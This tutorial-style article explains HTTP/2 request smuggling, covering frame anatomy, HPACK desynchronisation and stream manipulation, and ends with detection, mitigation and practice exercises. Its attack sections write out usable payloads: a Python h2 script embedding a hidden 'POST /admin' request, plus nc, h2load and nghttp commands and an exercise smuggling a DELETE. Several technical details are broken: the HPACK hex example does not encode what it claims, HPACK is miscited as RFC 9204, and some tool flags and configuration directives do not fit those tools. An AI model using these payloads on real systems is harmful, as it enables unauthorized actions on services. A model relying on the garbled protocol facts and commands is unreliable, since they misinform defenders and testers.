Introduction
HTTP/2 request smuggling is a class of attacks that exploit ambiguities between the way a front-end (often a reverse proxy or load balancer) parses HTTP/2 frames and the way a back-end server interprets the resulting request. By carefully constructing HTTP/2 frames, an attacker can inject a malicious request that the back-end processes but the front-end does not, leading to unauthorized actions, cache poisoning, or privilege escalation.
Why does this matter? Modern web services increasingly rely on HTTP/2 for performance gains, and many enterprises run mixed HTTP/1.1-HTTP/2 stacks. The added complexity of frame multiplexing, header compression (HPACK), and stream lifecycle management opens new attack surface that is still poorly understood by many defenders.
Real-world relevance: In 2023, security researchers disclosed several CVEs (e.g., CVE-2023-44484, CVE-2023-46471) that demonstrated successful HTTP/2 request smuggling against popular reverse proxies such as NGINX, Envoy, and Apache Traffic Server. These findings sparked vendor patches and highlighted the need for security teams to incorporate HTTP/2-specific testing into their threat-modeling.
Prerequisites
- Solid grasp of HTTP/1.1 request smuggling techniques (e.g., CL-TE, TE-CL, ambiguous Content-Length handling).
- Fundamental knowledge of the HTTP protocol suite, TCP/IP basics, and how TLS terminates at the edge.
- Familiarity with command-line tools like
curl,h2c, and basic Linux networking utilities.
Core Concepts
Before diving into the sub-topics, it is essential to understand three pillars that differentiate HTTP/2 from HTTP/1.1 and that attackers manipulate:
- Frame-based transport: HTTP/2 replaces the textual request line and headers with binary frames (HEADERS, DATA, SETTINGS, etc.). A single TCP connection can carry many concurrent streams.
- Header compression (HPACK): To reduce overhead, headers are encoded using a dynamic table. Mis-synchronisation of this table between client and server can be abused to inject or modify header fields.
- Stream lifecycle: Streams are created, paused, and closed independently. Improper handling of stream state transitions (e.g., resetting a stream while data is still pending) can cause the front-end to treat a request as finished while the back-end continues processing.
These concepts intertwine to create the ambiguity that smuggling relies on. The following sections unpack each component in detail.
HTTP/2 frame anatomy and stream lifecycle
Every HTTP/2 frame consists of a 9-byte header followed by a variable-length payload. The header fields are:
- Length (24 bits): Size of the payload.
- Type (8 bits): Identifies the frame kind (e.g., 0x1 = HEADERS, 0x0 = DATA).
- Flags (8 bits): Frame-specific modifiers (e.g., END_STREAM, END_HEADERS).
- Reserved (1 bit) + Stream Identifier (31 bits): Indicates which logical stream the frame belongs to. Stream 0 is reserved for connection-level frames.
Key frames for request smuggling:
HEADERS: Carries pseudo-headers (:method,:path,:scheme,:authority) and regular headers. TheEND_HEADERSflag signals the end of header block.CONTINUATION: Allows a large header block to be split across multiple frames. Improper concatenation can be used to hide malicious header fields from parsers that stop at the firstEND_HEADERS.DATA: Carries request body. TheEND_STREAMflag marks the logical end of the request.RST_STREAM: Abruptly terminates a stream. If a front-end discards the stream onRST_STREAMbut the back-end continues processing buffered data, a smuggled request can slip through.
Stream lifecycle stages:
Idle → Reserved (local/remote) → Open → Half-Closed (local) → Half-Closed (remote) → Closed
Attackers target the transition from Open to Half-Closed (remote). By sending a HEADERS frame with END_STREAM set, the front-end may believe the request is complete, while a subsequent DATA frame (sent on the same stream) can be interpreted by the back-end as a new request body belonging to a hidden second request.
Header compression (HPACK) and its abuse
HPACK compresses headers using two mechanisms: a static table of common headers and a dynamic table that grows as new header fields appear. Each entry is referenced by an index; the dynamic table is synchronized by the client and server via HEADER and CONTINUATION frames.
Abuse vectors:
- Table desynchronisation: By injecting a large number of dummy headers, an attacker can overflow the dynamic table on one side but not the other, causing the back-end to decode a different header set than the front-end.
- Indexed header injection: If the front-end uses a stale static table, an attacker can craft an indexed header that maps to a different name on the back-end, effectively substituting
Content-LengthforTransfer-Encodingor vice-versa. - Literal Header Field without Indexing: Using the
Literal Header Field Never Indexedrepresentation can hide malicious headers from parsers that discard never-indexed entries.
Example: The following HPACK-encoded block (presented in hex) contains an indexed :method (value "GET") followed by a literal Content-Length: 0 that the front-end drops because it treats it as a pseudo-header, while the back-end interprets it as a legitimate header, allowing a CL-TE mismatch.
# Hex dump of HPACK block (simplified)
# 0x82 -> Indexed Header Field :method = GET (static table index 2)
# 0x00 0x0c 0x43 0x6f 0x6e 0x74 0x65 0x6e 0x74 0x2d 0x4c 0x65 0x6e 0x67 0x74 0x68 -> Literal Header "Content-Length"
# 0x00 0x31 -> Literal Value "0"
82 00 0c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 00 31
When the back-end decodes this block, it sees Content-Length: 0, while a mis-implemented front-end may ignore the literal because it expects only pseudo-headers after the indexed method. This discrepancy creates the smuggling window.
Crafting smuggled requests with h2c/curl
Although browsers abstract away the binary details, developers can use curl with the --http2-prior-knowledge flag (or h2c utilities) to manually construct frames. Below is a step-by-step guide to build a smuggled request that hides a secondary HTTP/1.1 request inside an HTTP/2 stream.
# 1. Start a plain TCP connection (h2c) to the target
nc target.example.com 80 < raw.txt
# 2. raw.txt contains the binary representation of the frames.
# Frame 1 - HEADERS (stream 1, END_HEADERS, END_STREAM)
# Frame 2 - DATA (stream 1) - this DATA contains an HTTP/1.1 request.
# Helper: use nghttp2's h2load to generate raw frames
h2load -n 1 -m 1 --no-tls -c "GET / HTTP/2" --data "POST /smuggle HTTP/1.1
Host: victim.com
Content-Length: 4
test" -o raw.txt
Explanation:
- The first HEADERS frame declares an HTTP/2
GET /request and setsEND_STREAM, convincing the front-end that the request is finished. - The second DATA frame, still on stream 1, carries a raw HTTP/1.1 request (
POST /smuggle) that the back-end will treat as a separate request because it parses the payload after theEND_STREAMflag is cleared on its side.
Testing with curl (requires recent version with --http2-prior-knowledge support):
curl --http2-prior-knowledge -X GET http://target.example.com/ -H "User-Agent: smuggler" --data-binary @payload.bin
payload.bin is a binary file containing the two frames described above. The attacker can generate it with Python's h2 library:
import h2.connection
import h2.events
conn = h2.connection.H2Connection()
conn.initiate_connection()
# HEADERS for GET /
headers = [(':method', 'GET'), (':path', '/'), (':scheme', 'http'), (':authority', 'target.example.com')]
conn.send_headers(stream_id=1, headers=headers, end_stream=True)
# DATA containing hidden HTTP/1.1 request
smuggled = b"POST /admin HTTP/1.1
Host: target.example.com
Content-Length: 0
"
conn.send_data(stream_id=1, data=smuggled, end_stream=True)
with open('payload.bin', 'wb') as f: f.write(conn.data_to_send())
Running the script produces a binary payload that can be fed to curl or nc. In a lab environment, you should observe the front-end returning a 200 for the original GET while the back-end logs a POST to /admin.
Stream multiplexing manipulation
One of the most powerful features of HTTP/2 is the ability to interleave frames from multiple streams. Attackers can exploit this by:
- Interleaved HEADERS/DATA: Send a HEADERS frame for Stream A, then a DATA frame for Stream B before completing Stream A. Some proxies incorrectly associate the DATA with the most recent HEADERS, leading to request blending.
- Priority Frames: Manipulate stream priority to cause the front-end to process streams out of order, while the back-end respects the original order, creating timing windows for smuggling.
- RST_STREAM race: Issue
RST_STREAMon Stream A immediately after sending its HEADERS, then flood the connection with DATA on Stream B. If the front-end discards Stream A early, the back-end may still accept the DATA as part of a hidden request.
Practical example using nghttp (part of nghttp2):
# Open a connection and start two streams
nghttp -n -v http://target.example.com -H "GET /index.html HTTP/2" -d "" -m 1 &
# In another terminal, send a DATA frame on stream 3 while stream 1 is still open
nghttp -n -v http://target.example.com -H "POST /smuggle HTTP/2" -d "POST /admin HTTP/1.1
Host: target.example.com
" -m 3
Observe that the reverse proxy may log only the GET request, while the back-end receives the POST. The key is that the DATA payload is associated with a different stream ID than the one the front-end expects.
Detection and mitigation strategies
Detecting HTTP/2 request smuggling requires visibility into both the binary frame layer and the reconstructed HTTP semantics. Below are proven techniques:
- Frame-level logging: Enable verbose HTTP/2 logs on edge devices (e.g.,
error_log debugin NGINX) to capture frame types, flags, and stream IDs. Look for patterns such as HEADERS withEND_STREAMfollowed by DATA on the same stream. - HPACK table consistency checks: Compare the dynamic table state between front-end and back-end. Mismatches often indicate an attempted table-desynchronisation attack.
- Stream state validation: Ensure that the proxy does not close a stream prematurely. Implement a state machine that rejects DATA after an
END_STREAMflag unless the stream is explicitly reopened. - Strict header parsing: Disallow ambiguous combinations of
Content-LengthandTransfer-Encoding. Prefer a single source of truth (e.g., ignoreContent-LengthifTE: chunkedis present). - Limit CONTINUATION frames: Cap the number and size of CONTINUATION frames to mitigate header-splitting tricks.
Mitigation steps for operators:
- Upgrade all edge components to versions that include the RFC 7540 security errata (e.g., NGINX 1.25+, Envoy 1.27+).
- Deploy a dedicated HTTP/2 inspection layer (e.g., ModSecurity with the
SEC_RULE_ENGINE=OnandSecRule REQUEST_HEADERS:Content-Length "@gt 0" "id:900001,phase:2,log,deny,msg:'Potential HTTP/2 smuggling'"). - Enforce
h2c(clear-text HTTP/2) only on trusted internal networks; expose only HTTPS/2 to the internet. - Configure reverse proxies to reject requests that contain both
Content-LengthandTransfer-Encodingheaders, regardless of HPACK encoding. - Regularly run fuzzing tools such as
h2specorh2c-fuzzeragainst your stack to surface parsing inconsistencies.
Common Mistakes
- Assuming binary == safe: Many operators think that because HTTP/2 is binary, it cannot be smuggled. The reality is the binary format introduces new parsing ambiguities.
- Ignoring CONTINUATION frames: Some implementations stop processing headers after the first
END_HEADERS, discarding later CONTINUATION frames that may carry malicious headers. - Over-relying on HPACK index validation: Treating indexed headers as immutable can lead to table-desync attacks where the attacker forces the back-end to interpret an index differently.
- Not resetting stream state after errors: Failure to fully close a stream after a protocol error can leave the back-end in a half-closed state, ripe for smuggling.
Real-World Impact
Organizations that expose HTTP/2 endpoints without proper hardening risk:
- Unauthorized administrative actions (e.g., POST to
/admin/upgrade). - Cache poisoning, leading to credential leakage across users.
- Bypassing WAF rules that only inspect HTTP/1.1 payloads.
Case study (hypothetical but realistic): A financial services firm deployed an Envoy front-end with default settings. Researchers discovered that the Envoy accepted a HEADERS frame with END_STREAM followed by a DATA frame containing a raw HTTP/1.1 request. The back-end (a Java servlet container) executed the hidden request, resulting in a privilege escalation to admin. After patching Envoy to version 1.27 and enabling strict HPACK validation, the issue was mitigated.
Trend analysis: As HTTP/2 adoption crosses 70 % of top-million sites, the number of reported smuggling bugs has risen sharply. Vendors are beginning to ship “HTTP/2 safe mode” flags, but many legacy appliances remain vulnerable. Continuous security testing that includes HTTP/2 fuzzing is becoming a mandatory part of PCI-DSS and NIST 800-53 assessments.
Practice Exercises
- Frame inspection: Capture traffic to a test server using
tcpdump -w h2.pcap -s 0 port 443. Open the pcap in Wireshark, apply the filterhttp2, and identify a HEADERS frame that setsEND_STREAM. Verify whether any subsequent DATA frames belong to the same stream. - Craft a smuggled request: Using the Python script from the “Crafting smuggled requests” section, modify the payload to include a
DELETE /users/123request. Send it to a vulnerable NGINX instance and observe the server logs for the hidden DELETE. - HPACK desynchronisation test: Write a small Go program that creates 200 dummy headers on a single stream, causing the dynamic table to overflow. Observe how the back-end reacts compared to the front-end.
- Mitigation validation: Enable
proxy_http_version 2;andproxy_ignore_headers X-Content-Length;in NGINX. Re-run the smuggling payload and confirm that the request is now rejected with a 400 error.
Document your findings in a markdown file; this will serve as evidence for your security audit.
Further Reading
- RFC 7540 - HTTP/2
- RFC 9204 - HPACK Compression
- OWASP “HTTP Smuggling” Cheat Sheet (covers HTTP/2 extensions)
- “Practical HTTP/2 Security” - Black Hat Europe 2023 presentation slides
- NGHTTP2 project documentation and
h2spectest suite
Summary
HTTP/2 request smuggling leverages the binary frame format, HPACK header compression, and stream lifecycle nuances to inject hidden requests past edge devices. Mastering the frame anatomy, understanding how dynamic tables can be desynchronised, and learning to craft payloads with tools like curl, nghttp, and Python’s h2 library are essential skills for any red-team or application-security professional. Detection hinges on deep visibility into frame-level logs and strict state validation, while mitigation requires up-to-date software, hardened configuration, and regular fuzz testing. By incorporating these practices into your security program, you can protect modern web services from a subtle yet powerful class of attacks.